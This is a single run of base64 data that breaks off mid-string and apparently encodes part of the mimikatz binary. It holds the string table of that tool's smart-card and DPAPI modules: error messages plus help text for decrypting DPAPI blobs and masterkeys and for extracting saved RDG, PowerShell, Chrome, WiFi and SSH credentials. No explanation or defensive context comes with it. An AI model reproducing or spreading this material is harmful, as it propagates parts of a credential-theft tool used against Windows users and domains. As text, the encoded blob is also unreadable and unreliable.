AHgAIABQAGkAbgAgAFMAaQB6AGUAOgAgACUAaABoAHUACgAAAEYAaQByAG0AdwBhAHIAZQBJAEQAOgAgACUALgAqAFMACgAAAFkARQBTAAAATgBPAAAAAABQAFAARABVACAAUwB1AHAAcABvAHIAdAA6ACAAJQBzAAAAAAAAAAAAIAAtACAAUwBDAGEAcgBkAEMAbwBuAHQAcgBvAGwAKABGAEUAQQBUAFUAUgBFAF8AQwBDAEkARABfAEUAUwBDAF8AQwBPAE0ATQBBAE4ARAApAAAAIAAtACAAUwBDAGEAcgBkAFQAcgBhAG4AcwBtAGkAdAAAAAAATQBhAHgAIABBAFAARABVACAARABhAHQAYQAgAFMAaQB6AGUAOgAgACUAdQAgAC0AIAAwAHgAJQB4AAoAAAAAAFUAUwBCACAAVgBlAG4AZABvAHIASQBEACAAOgAgACUAMAA0AHgACgAAAAAAVQBTAEIAIABQAHIAbwBkAHUAYwB0AEkARAA6ACAAJQAwADQAeAAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AbABfAHMAYwBfAHAAcgBvAHAAXwB0AGwAdgBfAGYAZQBhAHQAdQByAGUAcwAgADsAIABTAEMAYQByAGQAQwBvAG4AdAByAG8AbAAoACEARgBFAEEAVABVAFIARQBfAEcARQBUAF8AVABMAFYAXwBQAFIATwBQAEUAUgBUAEkARQBTACEAKQA6ACAAMAB4ACUAMAA4AHgAIAAoACUAdQApAAoAAABPTU5JS0VZAEUAWABFAEMAVQBUAEUAXwBQAEEAQwBFAAAAAABWAEUAUgBJAEYAWQBfAFAASQBOAF8AUwBUAEEAUgBUAAAAAABWAEUAUgBJAEYAWQBfAFAASQBOAF8ARgBJAE4ASQBTAEgAAABNAE8ARABJAEYAWQBfAFAASQBOAF8AUwBUAEEAUgBUAAAAAABNAE8ARABJAEYAWQBfAFAASQBOAF8ARgBJAE4ASQBTAEgAAABHAEUAVABfAEsARQBZAF8AUABSAEUAUwBTAEUARAAAAFYARQBSAEkARgBZAF8AUABJAE4AXwBEAEkAUgBFAEMAVAAAAE0ATwBEAEkARgBZAF8AUABJAE4AXwBEAEkAUgBFAEMAVAAAAE0AQwBUAF8AUgBFAEEARABFAFIAXwBEAEkAUgBFAEMAVAAAAE0AQwBUAF8AVQBOAEkAVgBFAFIAUwBBAEwAAABJAEYARABfAFAASQBOAF8AUABSAE8AUAAAAAAAQQBCAE8AUgBUAAAAUwBFAFQAXwBTAFAARQBfAE0ARQBTAFMAQQBHAEUAAABWAEUAUgBJAEYAWQBfAFAASQBOAF8ARABJAFIARQBDAFQAXwBBAFAAUABfAEkARAAAAAAATQBPAEQASQBGAFkAXwBQAEkATgBfAEQASQBSAEUAQwBUAF8AQQBQAFAAXwBJAEQAAAAAAFcAUgBJAFQARQBfAEQASQBTAFAATABBAFkAAABHAEUAVABfAEsARQBZAAAASQBGAEQAXwBEAEkAUwBQAEwAQQBZAF8AUABSAE8AUABFAFIAVABJAEUAUwAAAAAARwBFAFQAXwBUAEwAVgBfAFAAUgBPAFAARQBSAFQASQBFAFMAAAAAAEMAQwBJAEQAXwBFAFMAQwBfAEMATwBNAE0AQQBOAEQAAAAAACAAIAAgAHwAIABWAGUAbgBkAG8AcgA6ACAAJQBaAAoAAAAAACAAIAAgAHwAIABNAG8AZABlAGwAIAA6ACAAJQBaAAoAAAAAACAAIAAgAHwAIABGAFcAIAB2AGUAcgBzAGkAbwBuACAAOgAgACUAdQAuACUAMAAyAHUACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGwAXwBzAGMAXwBwAHIAbwBwACAAOwAgAFMAQwBhAHIAZABDAG8AbgB0AHIAbwBsACgAQwBNAF8ASQBPAEMAVABMAF8ARwBFAFQAXwBGAFcAXwBWAEUAUgBTAEkATwBOACkAOgAgADAAeAAlADAAOAB4ACAAKAAlAHUAKQAKAAAAIAAgACAAfAAgAEwAaQBiACAAdgBlAHIAcwBpAG8AbgA6ACAAJQB1AC4AJQAwADIAdQAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AbABfAHMAYwBfAHAAcgBvAHAAIAA7ACAAUwBDAGEAcgBkAEMAbwBuAHQAcgBvAGwAKABDAE0AXwBJAE8AQwBUAEwAXwBHAEUAVABfAEwASQBCAF8AVgBFAFIAUwBJAE8ATgApADoAIAAwAHgAJQAwADgAeAAgACgAJQB1ACkACgAAAAAAIAAgACAAfAAgAEYAZQBhAHQAdQByAGUAcwA6AAoAAAAgACAAIABcACAAAAAlADAAMgB4ACAALQAgACUAcwAgACgAJQB1ACkACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBsAF8AcwBjAF8AcAByAG8AcAAgADsAIABMAGUAbgBnAHQAaAAgACgAJQBoAGgAdQApACAAIQA9ACAAcwBpAHoAZQBvAGYAKABEAFcATwBSAEQAKQAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGwAXwBzAGMAXwBwAHIAbwBwACAAOwAgAFMAQwBhAHIAZABDAG8AbgBuAGUAYwB0ADoAIAAwAHgAJQAwADgAeAAKAAAAUwBDAGEAcgBkACQAQQBsAGwAUgBlAGEAZABlAHIAcwAAAAAAUwBtAGEAcgB0AEMAYQByAGQAIAByAGUAYQBkAGUAcgBzADoAAAAAAAoAIAAqACAAJQBzAAoAAAAgACAAIABBAFQAUgAgACAAOgAgAAAAAAAgACAAIABNAG8AZABlAGwAOgAgACUAcwAKAAAAIAAgACAAUABSAEkATQAgADoAIAAlAHMACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBsAF8AcwBjACAAOwAgAFMAQwBhAHIAZABHAGUAdABDAGEAcgBkAFQAeQBwAGUAUAByAG8AdgBpAGQAZQByAE4AYQBtAGUAKABQAFIASQBNACkAOgAgADAAeAAlADAAOAB4AAoAAAAAACAAIAAgAEMAUwBQACAAIAA6ACAAJQBzAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGwAXwBzAGMAIAA7ACAAUwBDAGEAcgBkAEcAZQB0AEMAYQByAGQAVAB5AHAAZQBQAHIAbwB2AGkAZABlAHIATgBhAG0AZQAoAEMAUwBQACkAOgAgADAAeAAlADAAOAB4AAoAAAAgACAAIABLAFMAUAAgACAAOgAgACUAcwAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGwAXwBzAGMAIAA7ACAAUwBDAGEAcgBkAEcAZQB0AEMAYQByAGQAVAB5AHAAZQBQAHIAbwB2AGkAZABlAHIATgBhAG0AZQAoAEsAUwBQACkAOgAgADAAeAAlADAAOAB4AAoAAAAgACAAIABNAEQAUgBWACAAOgAgACUAcwAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGwAXwBzAGMAIAA7ACAAUwBDAGEAcgBkAEcAZQB0AEMAYQByAGQAVAB5AHAAZQBQAHIAbwB2AGkAZABlAHIATgBhAG0AZQAoAE0ARABSACkAOgAgADAAeAAlADAAOAB4AAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGwAXwBzAGMAIAA7ACAAUwBDAGEAcgBkAEwAaQBzAHQAQwBhAHIAZABzADoAIAAwAHgAJQAwADgAeAAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AbABfAHMAYwAgADsAIABTAEMAYQByAGQARwBlAHQAQQB0AHQAcgBpAGIAOgAgADAAeAAlADAAOAB4ACAAKAAlAHUAKQAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGwAXwBzAGMAIAA7ACAAUwBDAGEAcgBkAEMAbwBuAG4AZQBjAHQAOgAgADAAeAAlADAAOAB4AAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AbABfAHMAYwAgADsAIABTAEMAYQByAGQATABpAHMAdABSAGUAYQBkAGUAcgBzADoAIAAwAHgAJQAwADgAeAAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGwAXwBzAGMAIAA7ACAAUwBDAGEAcgBkAEUAcwB0AGEAYgBsAGkAcwBoAEMAbwBuAHQAZQB4AHQAOgAgADAAeAAlADAAOAB4AAoAAABtAGQAQwBhAGMAaABlAEEAZABkAEYAaQBsAGUACgAAAG0AZABDAGEAYwBoAGUATABvAG8AawB1AHAARgBpAGwAZQAKAAAAAABtAGQAQwBhAGMAaABlAEQAZQBsAGUAdABlAEYAaQBsAGUACgAAAAAAbQBkAFAAYQBkAEQAYQB0AGEACgAAAAAAPHJvb3Q+AAAgACAAIAAgAFwAJQAtADgAUwA6ACAAAAAlAFMAIAA7ACAAAAA8AGUAbQBwAHQAeQA+AAoAAAAAAAAAAABFAFIAUgBPAFIAIABlAG4AdQBtAGEAIAA7ACAAQwBhAHIAZABFAG4AdQBtAEYAaQBsAGUAcwA6ACAAMAB4ACUAMAA4AHgACgAAAAAAIAAoACUAdQApAAAAQ2FyZEFjcXVpcmVDb250ZXh0AAAAAAAAIAAgACAAIABDAG8AbgB0AGEAaQBuAGUAcgBzADoAIAAlAHUAIAAvACAAJQB1ACAAKAAlAHUAIABiAHkAdABlACgAcwApACAAZgByAGUAZQApAAoAAAAAAAkAWwAlADIAdQBdACAAAABTAGkAZwBuAGEAdAB1AHIAZQA6ACAAAAAgAC0AIAAAAEUAeABjAGgAYQBuAGcAZQA6ACAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBsAF8AbQBkAHIAIAA7ACAAQwBhAHIAZABHAGUAdABDAG8AbgB0AGEAaQBuAGUAcgBJAG4AZgBvACgAJQB1ACkAOgAgADAAeAAlADAAOAB4AAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGwAXwBtAGQAcgAgADsAIABDAGEAcgBkAFEAdQBlAHIAeQBGAHIAZQBlAFMAcABhAGMAZQA6ACAAMAB4ACUAMAA4AHgACgAAAG1zY3AAAAAAbWltaWthdHoAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBsAF8AbQBkAHIAIAA7ACAAQwBhAHIAZABEAGUAbABlAHQAZQBDAG8AbgB0AGUAeAB0ADoAIAAwAHgAJQAwADgAeAAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AbABfAG0AZAByACAAOwAgAEMAYQByAGQAQQBjAHEAdQBpAHIAZQBDAG8AbgB0AGUAeAB0ADoAIAAwAHgAJQAwADgAeAAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGwAXwBtAGQAcgAgADsAIABOAG8AIABDAGEAcgBkAEEAYwBxAHUAaQByAGUAQwBvAG4AdABlAHgAdAAgAGUAeABwAG8AcgB0ACAAaQBuACAAJwAlAHMAJwAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBsAF8AbQBkAHIAIAA7ACAATABvAGEAZABMAGkAYgByAGEAcgB5ACAAKAAwAHgAJQAwADgAeAApAAoAAABiAGwAbwBiAAAAAABEAGUAcwBjAHIAaQBiAGUAIABhACAARABQAEEAUABJACAAYgBsAG8AYgAsACAAdQBuAHAAcgBvAHQAZQBjAHQAIABpAHQAIAB3AGkAdABoACAAQQBQAEkAIABvAHIAIABNAGEAcwB0AGUAcgBrAGUAeQAAAHAAcgBvAHQAZQBjAHQAAAAAAAAAUAByAG8AdABlAGMAdAAgAGEAIABkAGEAdABhACAAdgBpAGEAIABhACAARABQAEEAUABJACAAYwBhAGwAbAAAAG0AYQBzAHQAZQByAGsAZQB5AAAAAAAAAEQAZQBzAGMAcgBpAGIAZQAgAGEAIABNAGEAcwB0AGUAcgBrAGUAeQAgAGYAaQBsAGUALAAgAHUAbgBwAHIAbwB0AGUAYwB0ACAAZQBhAGMAaAAgAE0AYQBzAHQAZQByAGsAZQB5ACAAKABrAGUAeQAgAGQAZQBwAGUAbgBkAGkAbgBnACkAAABjAHIAZQBkAGgAaQBzAHQAAAAAAEQAZQBzAGMAcgBpAGIAZQAgAGEAIABDAHIAZQBkAGgAaQBzAHQAIABmAGkAbABlAAAAAABjAHIAZQBhAHQAZQAAAAAAQwByAGUAYQB0AGUAIABhACAATQBhAHMAdABlAHIAawBlAHkAIABmAGkAbABlACAAZgByAG8AbQAgAHIAYQB3ACAAawBlAHkAIABhAG4AZAAgAG0AZQB0AGEAZABhAHQAYQAAAGMAYQBwAGkAAAAAAEMAQQBQAEkAIABrAGUAeQAgAHQAZQBzAHQAAABjAG4AZwAAAEMATgBHACAAawBlAHkAIAB0AGUAcwB0AAAAAAB0AHAAbQAAAFQAUABNACAAawBlAHkAIAB0AGUAcwB0AAAAAABjAHIAZQBkAAAAAABDAFIARQBEACAAdABlAHMAdAAAAHYAYQB1AGwAdAAAAFYAQQBVAEwAVAAgAHQAZQBzAHQAAAAAAHcAaQBmAGkAAAAAAFcAaQBGAGkAIAB0AGUAcwB0AAAAdwB3AGEAbgAAAAAAVwB3AGEAbgAgAHQAZQBzAHQAAABjAGgAcgBvAG0AZQAAAAAAQwBoAHIAbwBtAGUAIAB0AGUAcwB0AAAAcwBzAGgAAABTAFMASAAgAEEAZwBlAG4AdAAgAHIAZQBnAGkAcwB0AHIAeQAgAGMAYQBjAGgAZQAAAAAAcgBkAGcAAABSAEQARwAgAHMAYQB2AGUAZAAgAHAAYQBzAHMAdwBvAHIAZABzAAAAcABzAAAAAAAAAAAAUABvAHcAZQByAFMAaABlAGwAbAAgAGMAcgBlAGQAZQBuAHQAaQBhAGwAcwAgACgAUABTAEMAcgBlAGQAZQBuAHQAaQBhAGwAcwAgAG8AcgAgAFMAZQBjAHUAcgBlAFMAdAByAGkAbgBnACkAAAAAAGwAdQBuAGEAAAAAAFMAYQBmAGUAbgBlAHQAIABMAHUAbgBhAEgAUwBNACAASwBTAFAAAABjAGwAbwB1AGQAYQBwAGsAZAAAAGMAbABvAHUAZABhAHAAcgBlAGcAAAAAAHMAYwBjAG0AAAAAAGMAaQB0AHIAaQB4AAAAAABjAGEAYwBoAGUAAABkAHAAYQBwAGkAAAAAAAAARABQAEEAUABJACAATQBvAGQAdQBsAGUAIAAoAGIAeQAgAEEAUABJACAAbwByACAAUgBBAFcAIABhAGMAYwBlAHMAcwApAAAARABhAHQAYQAgAFAAcgBvAHQAZQBjAHQAaQBvAG4AIABhAHAAcABsAGkAYwBhAHQAaQBvAG4AIABwAHIAbwBnAHIAYQBtAG0AaQBuAGcAIABpAG4AdABlAHIAZgBhAGMAZQAAAGkAbgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AYgBsAG8AYgAgADsAIABrAHUAbABsAF8AbQBfAGYAaQBsAGUAXwByAGUAYQBkAEQAYQB0AGEAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAcgBhAHcAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBkAHAAYQBwAGkAXwBiAGwAbwBiACAAOwAgAGsAdQBsAGwAXwBtAF8AcwB0AHIAaQBuAGcAXwBzAHQAcgBpAG4AZwBUAG8ASABlAHgAQgB1AGYAZgBlAHIAIQAKAAAAZABlAHMAYwByAGkAcAB0AGkAbwBuACAAOgAgACUAcwAKAAAAbwB1AHQAAABXAHIAaQB0AGUAIAB0AG8AIABmAGkAbABlACAAJwAlAHMAJwAgAGkAcwAgAE8ASwAKAAAAZABhAHQAYQA6ACAAAAAAAGEAcwBjAGkAaQAAACUALgAqAFMACgAAAGQAYQB0AGEAAAAAAGQAZQBzAGMAcgBpAHAAdABpAG8AbgAAAGUAbgB0AHIAbwBwAHkAAABtAGEAYwBoAGkAbgBlAAAAcAByAG8AbQBwAHQAAAAAAAoAZABhAHQAYQAgACAAIAAgACAAIAAgACAAOgAgACUAcwAKAAAAAABmAGwAYQBnAHMAIAAgACAAIAAgACAAIAA6ACAAAAAAAHAAcgBvAG0AcAB0ACAAZgBsAGEAZwBzADoAIAAAAAAAZQBuAHQAcgBvAHAAeQAgACAAIAAgACAAOgAgAAAAAABCAGwAbwBiADoACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AcAByAG8AdABlAGMAdAAgADsAIABDAHIAeQBwAHQAUAByAG8AdABlAGMAdABEAGEAdABhACAAKAAwAHgAJQAwADgAeAApAAoAAABwAHIAbwB0AGUAYwB0AGUAZAAAAHMAaQBkAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AbQBhAHMAdABlAHIAawBlAHkAIAA7ACAAQwBvAG4AdgBlAHIAdABTAHQAcgBpAG4AZwBTAGkAZABUAG8AUwBpAGQAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAaABhAHMAaAAAAAAAAAAAAAoAWwBtAGEAcwB0AGUAcgBrAGUAeQBdACAAdwBpAHQAaAAgAHYAbwBsAGEAdABpAGwAZQAgAGMAYQBjAGgAZQA6ACAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AbQBhAHMAdABlAHIAawBlAHkAIAA7ACAATgBvACAAcwB1AGkAdABhAGIAbABlACAAawBlAHkAIABmAG8AdQBuAGQAIABpAG4AIABjAGEAYwBoAGUACgAAAAAACgBbAG0AYQBzAHQAZQByAGsAZQB5AF0AIAB3AGkAdABoACAARABQAEEAUABJAF8AUwBZAFMAVABFAE0AIAAoAG0AYQBjAGgAaQBuAGUALAAgAHQAaABlAG4AIAB1AHMAZQByACkAOgAgAAAAKgAqACAATQBBAEMASABJAE4ARQAgACoAKgAKAAAAAAAqACoAIABVAFMARQBSACAAKgAqAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBkAHAAYQBwAGkAXwBtAGEAcwB0AGUAcgBrAGUAeQAgADsAIABrAHUAbABsAF8AbQBfAGQAcABhAHAAaQBfAHUAbgBwAHIAbwB0AGUAYwB0AF8AbQBhAHMAdABlAHIAawBlAHkAXwB3AGkAdABoAF8AcwBoAGEARABlAHIAaQB2AGUAZABrAGUAeQAKAAAACgBbAG0AYQBzAHQAZQByAGsAZQB5AF0AIAB3AGkAdABoACAARABQAEEAUABJAF8AUwBZAFMAVABFAE0AOgAgAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBkAHAAYQBwAGkAXwBtAGEAcwB0AGUAcgBrAGUAeQAgADsAIABzAHkAcwB0AGUAbQAgAG0AYQBzAHQAZQByAGsAZQB5ACAAbgBlAGUAZABzACAALwBTAFkAUwBUAEUATQA6AGsAZQB5AAoAAAAAAHAAYQBzAHMAdwBvAHIAZAAAAAAAbgBvAHIAbQBhAGwAAAAAAAAAAAAKAFsAbQBhAHMAdABlAHIAawBlAHkAXQAgAHcAaQB0AGgAIABwAGEAcwBzAHcAbwByAGQAOgAgACUAcwAgACgAJQBzACAAdQBzAGUAcgApAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBkAHAAYQBwAGkAXwBtAGEAcwB0AGUAcgBrAGUAeQAgADsAIABrAHUAbABsAF8AbQBfAGQAcABhAHAAaQBfAHUAbgBwAHIAbwB0AGUAYwB0AF8AbQBhAHMAdABlAHIAawBlAHkAXwB3AGkAdABoAF8AcABhAHMAcwB3AG8AcgBkAAoAAAAAAAoAWwBtAGEAcwB0AGUAcgBrAGUAeQBdACAAdwBpAHQAaAAgAGgAYQBzAGgAOgAgAAAAAAAgACgAbgB0AGwAbQAgAHQAeQBwAGUAKQAKAAAAIAAoAHMAaABhADEAIAB0AHkAcABlACkACgAAACAAKAA/ACkACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AbQBhAHMAdABlAHIAawBlAHkAIAA7ACAAawB1AGwAbABfAG0AXwBkAHAAYQBwAGkAXwB1AG4AcAByAG8AdABlAGMAdABfAG0AYQBzAHQAZQByAGsAZQB5AF8AdwBpAHQAaABfAHUAcwBlAHIASABhAHMAaAAKAAAAAAB3AGkAdABoAAAAAAB3AGkAdABoAG8AdQB0AAAACgBbAGIAYQBjAGsAdQBwAGsAZQB5AF0AIAAlAHMAIABEAFAAQQBQAEkAXwBTAFkAUwBUAEUATQA6ACAAAAAAACAAKABiAHUAdAAgAGkAcwAgAG4AbwB0ACAAbgBlAGUAZABlAGQAKQAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBkAHAAYQBwAGkAXwBtAGEAcwB0AGUAcgBrAGUAeQAgADsAIABrAHUAbABsAF8AbQBfAGQAcABhAHAAaQBfAHUAbgBwAHIAbwB0AGUAYwB0AF8AYgBhAGMAawB1AHAAawBlAHkAXwB3AGkAdABoAF8AcwBlAGMAcgBlAHQACgAAAAAAAAAAAAoAWwBkAG8AbQBhAGkAbgBrAGUAeQBdACAAdwBpAHQAaAAgAHYAbwBsAGEAdABpAGwAZQAgAGMAYQBjAGgAZQA6ACAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AbQBhAHMAdABlAHIAawBlAHkAIAA7ACAAawB1AGwAbABfAG0AXwBkAHAAYQBwAGkAXwB1AG4AcAByAG8AdABlAGMAdABfAGQAbwBtAGEAaQBuAGsAZQB5AF8AdwBpAHQAaABfAGsAZQB5AAoAAABwAHYAawAAAAAAAAAKAFsAZABvAG0AYQBpAG4AawBlAHkAXQAgAHcAaQB0AGgAIABSAFMAQQAgAHAAcgBpAHYAYQB0AGUAIABrAGUAeQAKAAAAAAByAHAAYwAAAAoAWwBkAG8AbQBhAGkAbgBrAGUAeQBdACAAdwBpAHQAaAAgAFIAUABDAAoAAAAAAGQAYwAAAAAAZABvAG0AYQBpAG4AAAAAAFsARABDAF0AIAAnACUAcwAnACAAdwBpAGwAbAAgAGIAZQAgAHQAaABlACAAZABvAG0AYQBpAG4ACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAG0AYQBzAHQAZQByAGsAZQB5ACAAOwAgAEQAbwBtAGEAaQBuACAAbgBvAHQAIABwAHIAZQBzAGUAbgB0ACwAIABvAHIAIABkAG8AZQBzAG4AJwB0ACAAbABvAG8AawAgAGwAaQBrAGUAIABhACAARgBRAEQATgAKAAAAWwBEAEMAXQAgACcAJQBzACcAIAB3AGkAbABsACAAYgBlACAAdABoAGUAIABEAEMAIABzAGUAcgB2AGUAcgAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBkAHAAYQBwAGkAXwBtAGEAcwB0AGUAcgBrAGUAeQAgADsAIABEAG8AbQBhAGkAbgAgAEMAbwBuAHQAcgBvAGwAbABlAHIAIABuAG8AdAAgAHAAcgBlAHMAZQBuAHQACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAG0AYQBzAHQAZQByAGsAZQB5ACAAOwAgAEkAbgBwAHUAdAAgAG0AYQBzAHQAZQByAGsAZQB5AHMAIABmAGkAbABlACAAbgBlAGUAZABlAGQAIAAoAC8AaQBuADoAZgBpAGwAZQApAAoAAABLAGUAeQAgAEcAVQBJAEQAOgAgAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAGMAcgBlAGEAdABlAF8AZABhAHQAYQAgADsAIABrAHUAbABsAF8AbQBfAGQAcABhAHAAaQBfAHAAcgBvAHQAZQBjAHQAXwBtAGEAcwB0AGUAcgBrAGUAeQBfAHcAaQB0AGgAXwBwAGEAcwBzAHcAbwByAGQACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBkAHAAYQBwAGkAXwBjAHIAZQBhAHQAZQBfAGQAYQB0AGEAIAA7ACAAawB1AGwAbABfAG0AXwBkAHAAYQBwAGkAXwBwAHIAbwB0AGUAYwB0AF8AbQBhAHMAdABlAHIAawBlAHkAXwB3AGkAdABoAF8AdQBzAGUAcgBIAGEAcwBoAAoAAAAAAEYAaQBsAGUAIAAnACUAcwAnACAAKABoAGkAZABkAGUAbgAgACYAIABzAHkAcwB0AGUAbQApADoAIAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAGMAcgBlAGEAdABlAF8AZABhAHQAYQAgADsAIABTAGUAdABGAGkAbABlAEEAdAB0AHIAaQBiAHUAdABlAHMAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AYwByAGUAYQB0AGUAXwBkAGEAdABhACAAOwAgAGsAdQBsAGwAXwBtAF8AZgBpAGwAZQBfAHcAcgBpAHQAZQBEAGEAdABhACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAGMAcgBlAGEAdABlAF8AZABhAHQAYQAgADsAIABOAG8AIABrAGUAeQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBkAHAAYQBwAGkAXwBjAHIAZQBhAHQAZQAgADsAIABUAE8ARABPACAAZgBvAHIAIABsAG8AYwBhAGwAIABtAGEAYwBoAGkAbgBlACAAcwBlAGMAcgBlAHQAcwAsACAAaQBmACAAbgBlAGUAZABlAGQALgAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBkAHAAYQBwAGkAXwBjAHIAZQBhAHQAZQAgADsAIABDAG8AbgB2AGUAcgB0AFMAdAByAGkAbgBnAFMAaQBkAFQAbwBTAGkAZAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAVABhAHIAZwBlAHQAIABTAEkARAAgAGkAcwA6ACAAJQBzAAoAAAAAAG0AZAA0AAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBkAHAAYQBwAGkAXwBjAHIAZQBhAHQAZQAgADsAIABOAG8AIABTAEkARAAgAD8ACgAAAHsAJQBzAH0AAAAAAGsAZQB5AAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBkAHAAYQBwAGkAXwBjAHIAZQBhAHQAZQAgADsAIABOAG8AdAAgAGEAIAB2AGEAbABpAGQAIABHAFUASQBEAAoAAAAAAAAATgBvACAAawBlAHkAIABzAHAAZQBjAGkAZgBpAGUAZAAsACAAdQBzAGkAbgBnACAAbABvAGMAYQBsACAAYwBhAGMAaABlAC4ALgAuAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAGMAcgBlAGEAdABlACAAOwAgAE4AbwAgAHQAYQByAGcAZQB0ACAAYwByAGUAZABlAG4AdABpAGEAbABzAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AYwByAGUAZABoAGkAcwB0ACAAOwAgAEMAbwBuAHYAZQByAHQAUwB0AHIAaQBuAGcAUwBpAGQAVABvAFMAaQBkACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAACgAgACAAWwBlAG4AdAByAHkAIAAlAHUAXQAgAHcAaQB0AGgAIAB2AG8AbABhAHQAaQBsAGUAIABjAGEAYwBoAGUAOgAgAAAACgAgACAAWwBlAG4AdAByAHkAIAAlAHUAXQAgAHcAaQB0AGgAIABTAEgAQQAxACAAYQBuAGQAIABTAEkARAA6ACAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBkAHAAYQBwAGkAXwBjAHIAZQBkAGgAaQBzAHQAIAA7ACAASQBuAHAAdQB0ACAAYwByAGUAZABoAGkAcwB0ACAAZgBpAGwAZQAgAG4AZQBlAGQAZQBkACAAKAAvAGkAbgA6AGYAaQBsAGUAKQAKAAAAAAB1AG4AcAByAG8AdABlAGMAdAAAACAAKgAgAHUAcwBpAG4AZwAgAEMAcgB5AHAAdABVAG4AcAByAG8AdABlAGMAdABEAGEAdABhACAAQQBQAEkACgAAAAAAIAAqACAAdgBvAGwAYQB0AGkAbABlACAAYwBhAGMAaABlADoAIAAAACAAKgAgAG0AYQBzAHQAZQByAGsAZQB5ACAAIAAgACAAIAA6ACAAAAAgAD4AIABwAHIAbwBtAHAAdAAgAGYAbABhAGcAcwAgACAAOgAgAAAAIAA+ACAAZQBuAHQAcgBvAHAAeQAgACAAIAAgACAAIAAgADoAIAAAACAAPgAgAHAAYQBzAHMAdwBvAHIAZAAgACAAIAAgACAAIAA6ACAAJQBzAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAHUAbgBwAHIAbwB0AGUAYwB0AF8AcgBhAHcAXwBvAHIAXwBiAGwAbwBiACAAOwAgAE4AVABFAF8AQgBBAEQAXwBLAEUAWQBfAFMAVABBAFQARQAsACAAbgBlAGUAZABlAGQAIABNAGEAcwB0AGUAcgBrAGUAeQAgAGkAcwA6ACAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAHUAbgBwAHIAbwB0AGUAYwB0